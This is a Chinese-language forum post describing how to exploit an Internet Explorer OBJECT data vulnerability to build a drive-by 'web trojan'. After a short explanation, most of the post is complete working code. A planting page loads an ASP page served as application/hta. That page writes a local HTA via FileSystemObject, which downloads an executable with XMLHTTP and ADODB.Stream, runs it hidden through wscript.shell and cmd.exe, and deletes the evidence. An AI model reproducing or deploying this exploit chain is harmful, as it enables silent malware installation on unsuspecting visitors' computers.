利用IE Object Data漏洞實現之網頁木馬
作者:tank 日期:2005-01-28
利用IE Object Data漏洞實現之網頁木馬
張貼者: Kozxer 張貼日期: 2003-10-20 00:40
近來IE又出了個暴大的洞,該漏洞主要是IE沒有對OBJECT實際內容進行審核,而只審核了後綴名(真想不到都這年代了,微軟居然還用這麼這麼土的方法來實現安全保護,暈@##@)。
接下來談些簡單利用,以下代碼不得用於非法目的,否則後果自負!
原理:
一、Internet Explorer Object Data Remote Execution Vulnerability
利用Internet Explorer Object Data Remote Execution Vulnerability
eEye Digital Security在8月20號公佈了這個漏洞,該漏洞是由於HTML中的OBJECT的DATA標籤引起的。對於DATA所標記的URL,IE會根據服務器返回的HTTP頭中的Content-Type來處理數據,也就是說如果HTTP頭中返回的是application/hta等。那麼該文件就能夠執行,而不管IE的安全級別多高。
------------在木馬種植頁面中插入如下代碼-------------------
<object data="http://127.0.0.1/test.test";;></object>
然後更改服務器的MIME映射為擴展名.test對應application/hta
-------------------------------
這http://127.0.0.1/test.test內容的HTA頁面就會被用戶IE所執行。
當然上面提到的再服務器端修改MIME映射,也可以直接適用ASP、JSP等動態腳本來實現相同功能。
例如:可以直接使用如下代碼:
------------test.htm(木馬種植頁面)中插入如下代碼-------------------
<object data="http://127.0.0.1/test.asp";;></object>
-------------------------------
---------test.asp(木馬主頁面)頂部寫如下代碼----------------------
<%response.ContentType="application/hta"%>
-------------------------------
二、網頁木馬原理
所謂網頁木馬,個人理解:就是當用戶瀏覽某網頁時,自動下載並運行某一「木馬」程序,進而通過該程序實施控制。
由於HTA具有本地用戶權限,相當於一個APPLICATION,因此,我們就可以利用上面的漏洞來實現網頁木馬的基本功能。
要實現網頁木馬功能,那麼必須要解決木馬的下載與運行問題,運行相信大家很容易就可以想到<object id=wsh
classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
,關鍵是木馬的下載。
文件的操作在HTA中主要可以通過fso和ADOSTREAM兩個組件來實現,但是FSO比較適合操作文本文件,要實現操作二進制文件還得用到後面的這
個ADOSTREAM組件,但是我們可以發現當一個在IE裡面運行的HTA程序是有作用域限制的,因此無法使用ADOSTREAM來操作本地文件。所以我們必
須要在本地運行一個HTA程序,而HTA正是文本文件,所以,我們只要通過FSO來操作生成一個本地的HTA,繼而運行該HTA得到我們想要達到的目
的。
至於文件下載還會用到XMLHTTP這個組件,關於這個組件這裡就不作介紹。
從上面的分析,我們需要通過兩個HTA來實現網頁木馬,一個是在IE中運行,進而尤其生成本地HTA,再通過本地HTA下載木馬,並運行之。好,
我們可以開工了!
三、具體實現過程不作解釋,代碼如下:
------------test.htm(木馬種植頁面)中插入如下代碼-------------------
<html>
<body>
This is a Test!
If success,,your Os will download a appliction and auto run it!
Of course,Os must be 2k/xp/nt/2003..... and didn't patch.
<object data="http://127.0.0.1/test.asp";;></object>
</body>
-------------------------------
---------test.asp(木馬主頁面之一:生成本地HTA)頂部寫如下代碼----------------------
<%response.ContentType="application/hta"%>
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oreq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oreq.status=200 then
HttpDoGet=oReq.responseTEXT
SaveFile HttpDoGet,"c:\win.hta" '在C:根目錄下生成HTA文件
Set oreq=nothing
End if
End Function
'保存文本文件,生成本地HTA。
sub SaveFile(str,fName)
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile(fName, True)
tf.Write str
tf.Close
exewin()
End sub
'運行函數
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hta",0)
window.close
End Sub
'得到本地HTA文件
HttpDoGet("http://127.0.0.1/ism.mm";)
</script>
</html>
-------------------------------
---------ism.mm(木馬主頁面之二:本地HTA頁面)頂部寫如下代碼----------------------
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oreq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oreq.status=200 then
HttpDoGet=oReq.responseBody
SaveFile HttpDoGet,"c:\win.exe" '在C:根目錄下生成exe文件
End If
Set oreq=nothing
End Function
'保存二進制文件,在本地生成exe文件。
sub SaveFile(str,fName)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objstream.write str
objstream.SaveToFile fName,2
objstream.Close()
set objstream = nothing
exewin()
End sub
'運行函數,執行已經下載的exe程序。
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.exe",0)
b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
window.close
End Sub
'得到遠程木馬程序
HttpDoGet "http://127.0.0.1/win.exe";
</script>
</html>
-------------------------------
將上述頁面放在某網站目錄下即可,由於採用ASP,所以需要有ASP權限,當然也用修改MIME的方法。
-------------------------------
-------------------------------
嚴正申明:以上程序只用於理論研究探討,不得用於非法目的。